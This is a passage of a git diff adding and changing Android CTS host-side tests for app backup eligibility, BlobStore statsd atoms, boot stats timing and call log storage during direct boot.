+ checkBackupEligibilityDeviceTest("createFiles");
+
+ getBackupUtils().backupNowAndAssertBackupNotAllowed(BACKUP_ELIGIBILITY_APP_NAME);
+
+ assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ checkBackupEligibilityDeviceTest("checkNoFilesExist");
+ }
+
+ /**
+ * <ol>
+ * <li>Install the app.
+ * <li>Generate files inside the app's data folder.
+ * <li>Run {@code bmgr backupnow} and assert 'Success' is printed.
+ * <li>Uninstall / reinstall the app.
+ * <li>Assert the files have been restored.
+ * </ol>
+ */
+ @Test
+ public void testAllowBackup_True() throws Exception {
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
+ checkBackupEligibilityDeviceTest("createFiles");
+
+ // Do a backup
+ getBackupUtils().backupNowAndAssertSuccess(BACKUP_ELIGIBILITY_APP_NAME);
+
+ assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ checkBackupEligibilityDeviceTest("checkAllFilesExist");
+ }
+
+ /**
+ * <ol>
+ * <li>Install the app.
+ * <li>Generate files inside the app's data folder.
+ * <li>Run {@code adb backup}.
+ * <li>Uninstall / reinstall the app.
+ * <li>Run {@code adb restore}.
+ * <li>Assert no files have been restored.
+ * </ol>
+ */
+ @Test
+ public void testAdbBackup_offForNonDebuggableApp() throws Exception {
+ installPackage(DEBUGGABLE_FALSE_APP_APK, "-d", "-r");
+
+ runAdbBackupAndRestore();
+
+ checkBackupEligibilityDeviceTest("checkNoFilesExist");
+ }
+
+ /**
+ * <ol>
+ * <li>Install the app.
+ * <li>Generate files inside the app's data folder.
+ * <li>Run {@code adb backup}.
+ * <li>Clear data for the app.
+ * <li>Run {@code adb restore}.
+ * <li>Assert the files have been restored.
+ * </ol>
+ */
+ @Test
+ public void testAdbBackup_onForDebuggableApp() throws Exception {
+ installPackage(DEBUGGABLE_TRUE_APP_APK, "-d", "-r");
+
+ runAdbBackupAndRestore();
+
+ checkBackupEligibilityDeviceTest("checkAllFilesExist");
+ }
+
+ private void runAdbBackupAndRestore() throws Exception {
+ installPackage(ADB_BACKUP_APP_APK, "-d", "-r");
+
+ try {
+ // Generate the files that are going to be backed up.
+ checkBackupEligibilityDeviceTest("createFiles");
+ runAdbCommand("backup", "-f", ADB_BACKUP_FILE, BACKUP_ELIGIBILITY_APP_NAME);
+ checkBackupEligibilityDeviceTest("deleteFilesAndAssertNoneExist");
+ runAdbCommand("restore", ADB_BACKUP_FILE);
+ } finally {
+ assertNull(uninstallPackage(ADB_BACKUP_APP_NAME));
+ }
+ }
+
+ private void checkBackupEligibilityDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(BACKUP_ELIGIBILITY_APP_NAME, BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME,
+ methodName);
+ }
+
+ private void runAdbCommand(String... arguments) throws Exception {
+ ITestDevice device = getDevice();
+
+ try {
+ // Close the backup confirmation window in case there's already one floating around for
+ // any reason.
+ device.executeShellCommand("am force-stop " + BACKUP_RESTORE_CONFIRMATION_PACKAGE);
+ } catch (Exception e) {
+ CLog.w("Error while trying to force-stop backup confirmation: " + e.getMessage());
+ // Keep going
+ }
+
+ Thread restore = new Thread(() -> {
+ try {
+ device.executeAdbCommand(arguments);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
+ restore.start();
+ runDeviceSideProcedure(ADB_BACKUP_APP_NAME, ADB_BACKUP_DEVICE_SIDE_CLASS_NAME,
+ /* procedureName */ "clickAdbBackupConfirmButton");
+ restore.join();
+ }
+
+ private void runDeviceSideProcedure(String packageName, String className,
+ String procedureName) throws Exception {
+ checkDeviceTest(packageName, className, procedureName);
+ }
+}
diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index d699def..4e4349a 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -22,6 +22,9 @@
"tradefed",
"truth-prebuilt"
],
+ static_libs: [
+ "cts-statsd-atom-host-test-utils",
+ ],
// Tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index 2369ec0..8fefcb2 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -75,6 +75,11 @@
runDeviceTests(deviceTestRunOptions)).isTrue();
}
+ protected long getDeviceTimeMs() throws Exception {
+ final String timeMs = getDevice().executeShellCommand("date +%s%3N");
+ return Long.parseLong(timeMs.trim());
+ }
+
protected void rebootAndWaitUntilReady() throws Exception {
// TODO: use rebootUserspace()
getDevice().reboot(); // reboot() waits for device available
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
new file mode 100644
index 0000000..1af2515
--- /dev/null
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.host.blob;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdBlobStoreAtomTest extends BaseBlobStoreHostTest {
+ private static final String TEST_CLASS = TARGET_PKG + ".AtomTest";
+
+ // Constants that match the constants for AtomTests#testBlobStore
+ private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+ private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+ private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+ private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+ private int mTestAppUid;
+
+ @Before
+ public void setUp() throws Exception {
+ installPackage(TARGET_APK);
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ mTestAppUid = DeviceUtils.getAppUid(getDevice(), TARGET_PKG);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ uninstallPackage(TARGET_PKG);
+ }
+
+ @Test
+ public void testPushedBlobStoreStats() throws Exception {
+ final StatsdConfigProto.StatsdConfig.Builder conf =
+ ConfigUtils.createConfigBuilder(TARGET_PKG);
+ ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_COMMITTED_FIELD_NUMBER,
+ /*useUidAttributionChain=*/ false, TARGET_PKG);
+ ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_LEASED_FIELD_NUMBER,
+ /*useUidAttributionChain=*/ false, TARGET_PKG);
+ ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_OPENED_FIELD_NUMBER,
+ /*useUidAttributionChain=*/ false, TARGET_PKG);
+ ConfigUtils.uploadConfig(getDevice(), conf);
+
+ runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+
+ final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ assertThat(data).hasSize(3);
+
+ final AtomsProto.BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+ final long blobId = blobCommitted.getBlobId();
+ final long blobSize = blobCommitted.getSize();
+ assertThat(blobCommitted.getUid()).isEqualTo(mTestAppUid);
+ assertThat(blobId).isGreaterThan(0L);
+ assertThat(blobSize).isGreaterThan(0L);
+ assertThat(blobCommitted.getResult()).isEqualTo(AtomsProto.BlobCommitted.Result.SUCCESS);
+
+ final AtomsProto.BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+ assertThat(blobLeased.getUid()).isEqualTo(mTestAppUid);
+ assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+ assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+ assertThat(blobLeased.getResult()).isEqualTo(AtomsProto.BlobLeased.Result.SUCCESS);
+
+ final AtomsProto.BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+ assertThat(blobOpened.getUid()).isEqualTo(mTestAppUid);
+ assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+ assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+ assertThat(blobOpened.getResult()).isEqualTo(AtomsProto.BlobOpened.Result.SUCCESS);
+ }
+
+ @Test
+ public void testPulledBlobStoreStats() throws Exception {
+ ConfigUtils.uploadConfigForPulledAtom(getDevice(), TARGET_PKG,
+ AtomsProto.Atom.BLOB_INFO_FIELD_NUMBER);
+
+ final long testStartTimeMs = getDeviceTimeMs();
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+ // Add commit callback time to test end time to account for async execution
+ final long testEndTimeMs =
+ getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+ // Find the BlobInfo for the blob created in the test run
+ AtomsProto.BlobInfo blobInfo = null;
+ for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+ if (atom.hasBlobInfo()) {
+ final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+ if (temp.getCommitters().getCommitter(0).getUid() == mTestAppUid) {
+ blobInfo = temp;
+ break;
+ }
+ }
+ }
+ assertThat(blobInfo).isNotNull();
+
+ assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+ // Check that expiry time is reasonable
+ assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+ testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+ assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+ testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+ // Check that commit time is reasonable
+ final long commitTimeMs = blobInfo.getCommitters().getCommitter(0)
+ .getCommitTimestampMillis();
+ assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+ assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+ // Check that WHITELIST and PRIVATE access mode flags are set
+ assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+ assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage())
+ .isEqualTo(1);
+
+ assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+ assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(mTestAppUid);
+
+ // Check that lease expiry time is reasonable
+ final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(0)
+ .getLeaseExpiryTimestampMillis();
+ assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+ assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+ }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
new file mode 100644
index 0000000..3d57c35
--- /dev/null
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.device.blob;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.blob.BlobStoreManager;
+
+import com.android.utils.blob.FakeBlobData;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class AtomTest extends BaseBlobStoreDeviceTest {
+ // Constants for testBlobStore
+ private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+ private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+ private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+ private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+ private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+ "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+ @Test
+ public void testBlobStoreOps() throws Exception {
+ final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+ final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
+ .setExpiryDurationMs(BLOB_EXPIRY_DURATION_MS)
+ .setFileSize(BLOB_FILE_SIZE_BYTES)
+ .build();
+
+ blobData.prepare();
+ try {
+ // Commit the Blob, should result in BLOB_COMMITTED atom event
+ commitBlob(blobData);
+
+ // Lease the Blob, should result in BLOB_LEASED atom event
+ mBlobStoreManager.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+ // Open the Blob, should result in BLOB_OPENED atom event
+ mBlobStoreManager.openBlob(blobData.getBlobHandle());
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ private void commitBlob(FakeBlobData blobData) throws Exception {
+ final long sessionId = createSession(blobData.getBlobHandle());
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session);
+ session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertWithMessage("Session failed to commit within timeout").that(
+ callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+ }
+ }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
- protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+ protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
protected Context mContext;
protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 9bcf2a1..fb6477d 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -38,7 +38,7 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public class BootStatsHostTest implements IDeviceTest {
- private static final long MAX_WAIT_TIME_MS = 30000;
+ private static final long MAX_WAIT_TIME_MS = 100000;
private static final long WAIT_SLEEP_MS = 100;
private static int[] ATOMS_EXPECTED = {
diff --git a/hostsidetests/calllog/Android.bp b/hostsidetests/calllog/Android.bp
new file mode 100644
index 0000000..59b6bac
--- /dev/null
+++ b/hostsidetests/calllog/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+ name: "CtsCallLogTestCases",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+
+ static_libs: [
+ "cts-host-utils",
+ ],
+}
diff --git a/hostsidetests/calllog/AndroidTest.xml b/hostsidetests/calllog/AndroidTest.xml
new file mode 100644
index 0000000..1e9822c
--- /dev/null
+++ b/hostsidetests/calllog/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- These tests explicitly handle multiuser switching themselves. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsCallLogTestCases.jar" />
+ <option name="runtime-hint" value="10m" />
+ </test>
+</configuration>
+
diff --git a/hostsidetests/calllog/OWNERS b/hostsidetests/calllog/OWNERS
new file mode 100644
index 0000000..bb4fb86
--- /dev/null
+++ b/hostsidetests/calllog/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+include platform/frameworks/base:/telecomm/OWNERS
diff --git a/hostsidetests/calllog/app/Android.bp b/hostsidetests/calllog/app/Android.bp
new file mode 100644
index 0000000..9f61f91
--- /dev/null
+++ b/hostsidetests/calllog/app/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsCallLogDirectBootApp",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "test_current",
+ static_libs: [
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "ub-uiautomator",
+ "truth-prebuilt",
+ ],
+ libs: ["android.test.base"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/calllog/app/AndroidManifest.xml b/hostsidetests/calllog/app/AndroidManifest.xml
new file mode 100644
index 0000000..3567d22
--- /dev/null
+++ b/hostsidetests/calllog/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.provider.cts.contacts.testapp">
+ <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+ <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+
+ <application android:label="CallLogTestApp">
+ <receiver android:name=".BootReceiver"
+ android:directBootAware="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.BOOT_COMPLETED" />
+ <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.provider.cts.contacts.testapp" />
+</manifest>
diff --git a/hostsidetests/calllog/app/res/drawable/cupcake.png b/hostsidetests/calllog/app/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/hostsidetests/calllog/app/res/drawable/cupcake.png
Binary files differ
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
new file mode 100644
index 0000000..3dd9cca
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
@@ -0,0 +1,58 @@
+package android.provider.cts.contacts.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class BootReceiver extends BroadcastReceiver {
+ private static final String LOG_TAG = "CallLogTestBootReceiver";
+ public static final String BOOT_COMPLETE = "boot_complete";
+ public static final String LOCKED_BOOT_COMPLETE = "locked_boot_complete";
+ public static final String SHARED_PREFS_NAME = "boot_complete_info";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (Intent.ACTION_LOCKED_BOOT_COMPLETED.equals(intent.getAction())) {
+ SharedPreferences prefs = context.createDeviceProtectedStorageContext()
+ .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+ prefs.edit().putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+ Log.i(LOG_TAG, "Received locked boot complete");
+ } else if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
+ SharedPreferences dePrefs = context.createDeviceProtectedStorageContext()
+ .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+ SharedPreferences cePrefs = context.createCredentialProtectedStorageContext()
+ .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+ dePrefs.edit().putBoolean(BOOT_COMPLETE, true).commit();
+ cePrefs.edit().putBoolean(BOOT_COMPLETE, true)
+ .putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+ Log.i(LOG_TAG, "Received boot complete");
+ }
+ }
+
+ public static boolean waitForBootComplete(Context context, String action, long timeoutMillis)
+ throws Exception {
+ SharedPreferences prefs =
+ context.getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+ CompletableFuture<Void> onBootCompleteChanged = new CompletableFuture<>();
+ prefs.registerOnSharedPreferenceChangeListener(
+ (sharedPreferences, key) -> {
+ if (action.equals(key)) {
+ onBootCompleteChanged.complete(null);
+ }
+ });
+ if (prefs.getBoolean(action, false)) return true;
+ try {
+ onBootCompleteChanged.get(timeoutMillis, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ Log.w(LOG_TAG, "Timed out waiting for " + action);
+ return false;
+ }
+ return true;
+ }
+}
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
new file mode 100644
index 0000000..d16f0bd
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
@@ -0,0 +1,154 @@
+package android.provider.cts.contacts.testapp;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.provider.CallLog;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.util.Pair;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+// Copied piecemail from EncryptionAppTest and adapted to test the call log.
+public class CallLogDirectBootTest extends InstrumentationTestCase {
+
+ private static final String LOG_TAG = CallLogDirectBootTest.class.getSimpleName();
+ private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+ private Context mCe;
+ private Context mDe;
+ private UiDevice mDevice;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ mCe = getInstrumentation().getContext();
+ mDe = mCe.createDeviceProtectedStorageContext();
+
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ assertNotNull(mDevice);
+ }
+
+ public void testShadowCallComposerPicture() throws Exception {
+ BootReceiver.waitForBootComplete(mDe, BootReceiver.LOCKED_BOOT_COMPLETE,60000);
+ Log.i(LOG_TAG, "Locked boot complete received, starting test");
+
+ byte[] expected = readResourceDrawable(mDe, R.drawable.cupcake);
+ Log.i(LOG_TAG, "read drawable from resources");
+
+
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ // While still locked, write a picture to the call log, assuming it ends up in the shadow.
+ CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+ new CompletableFuture<>();
+ Pair<Uri, CallLog.CallComposerLoggingException> result;
+ try (InputStream inputStream =
+ mDe.getResources().openRawResource(R.drawable.cupcake)) {
+ CallLog.storeCallComposerPictureAsUser(mDe, android.os.Process.myUserHandle(),
+ inputStream,
+ Executors.newSingleThreadExecutor(),
+ new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+ @Override
+ public void onResult(@NonNull Uri result) {
+ resultFuture.complete(Pair.create(result, null));
+ }
+
+ @Override
+ public void onError(CallLog.CallComposerLoggingException error) {
+ resultFuture.complete(Pair.create(null, error));
+ }
+ });
+ result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ if (result.second != null) {
+ fail("Got error " + result.second.getErrorCode() + " when storing image");
+ }
+ Log.i(LOG_TAG, "successfully received uri for inserted image");
+ Uri imageLocation = result.first.buildUpon().authority(CallLog.AUTHORITY).build();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ getInstrumentation().getContext().createDeviceProtectedStorageContext()
+ .registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
+
+ dismissKeyguard();
+
+ // Dismiss keyguard should have kicked off immediate broadcast
+ assertTrue("USER_UNLOCKED", latch.await(1, TimeUnit.MINUTES));
+
+ BootReceiver.waitForBootComplete(mCe, BootReceiver.BOOT_COMPLETE, 60000);
+
+ try (ParcelFileDescriptor pfd =
+ mCe.getContentResolver().openFileDescriptor(imageLocation, "r")) {
